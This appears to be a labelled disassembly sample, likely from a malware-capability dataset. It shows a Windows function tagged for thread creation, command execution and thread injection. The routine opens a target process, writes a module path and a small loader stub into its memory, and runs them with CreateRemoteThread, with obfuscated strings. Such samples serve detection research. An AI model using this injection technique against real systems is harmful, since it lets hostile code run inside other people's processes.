Function at 0x401f40
Capabilities:
Create thread
Execute command
Inject thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409122
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov esi, ecx
mov edi, edx
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea ecx, [ebp - 0x130]
push ecx
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test esi, esi
je 0x401ff9
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x402017
mov ecx, 0x4db3371d
lea eax, [ebp - 0x13c]
call fcn.004072d0
mov dword [ebp - 4], ebx
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push ecx
push 0x40a35c
push edx
call fcn.00401090
add esp, 0xc
push eax
call fcn.00401090
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004085a0
mov esp, ebp
pop ebp
ret
mov edi, str.KghnGeonbhWkU
sub edi, 0x4d4595b
lea esi, [ebp - 0x154]
call fcn.004073d0
mov edi, str.NCUFLF
sub edi, 0x4a0c275b
lea esi, [ebp - 0x140]
mov dword [ebp - 0x158], eax
call fcn.00407350
mov ecx, dword [ebp - 0x158]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a], eax
lea eax, [ebp - 0x130]
mov cl, 0x6a
mov dword [ebp - 0x24], 0x6a006a
mov dword [ebp - 0x20], 0xfebabe68
mov word [ebp - 0x1c], 0xb8ca
mov word [ebp - 0x16], 0xd0ff
mov byte [ebp - 0x14], 0xc3
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402090
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
sub eax, esi
push 0x3000
inc eax
push eax
push 0
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x4020d5
mov edi, 0x40a3bc
sub edi, 0x2dfff6b7
lea esi, [ebp - 0x154]
call fcn.00407410
mov dword [ebp - 4], 1
jmp 0x401fcf
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4020e0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0x130]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne al
test al, al
jne 0x40212f
mov edi, 0x3ec29a13
lea esi, [ebp - 0x140]
call fcn.00407450
push eax
push ecx
mov dword [ebp - 4], 2
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40a35c
push ecx
jmp 0x401fdd
push 0x40
push 0x3000
push 0x11
push 0
push ebx
mov dword [ebp - 0x1f], esi
call edi
mov edi, eax
test edi, edi
jne 0x402168
mov edi, 0x40a3e0
sub edi, 0x18e2aaa2
lea esi, [ebp - 0x154]
call fcn.00407490
mov dword [ebp - 4], 3
jmp 0x401fcf
push 0
push 0x11
lea eax, [ebp - 0x24]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne al
test al, al
jne 0x4021ab
mov edi, 0x4c67671f
lea esi, [ebp - 0x140]
call fcn.004074d0
push eax
push ecx
mov dword [ebp - 4], 4
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40a35c
push ecx
jmp 0x401fdd
push 0
push 0
push esi
push edi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x158], eax
test eax, eax
jne 0x4021e8
mov edi, str._dry:nrl_
sub edi, 0x24ff582a
lea esi, [ebp - 0x154]
call fcn.00407390
mov dword [ebp - 4], 5
jmp 0x401fcf
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call esi
push 0x8000
push 0
push edi
push ebx
call esi
mov eax, dword [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x401ffb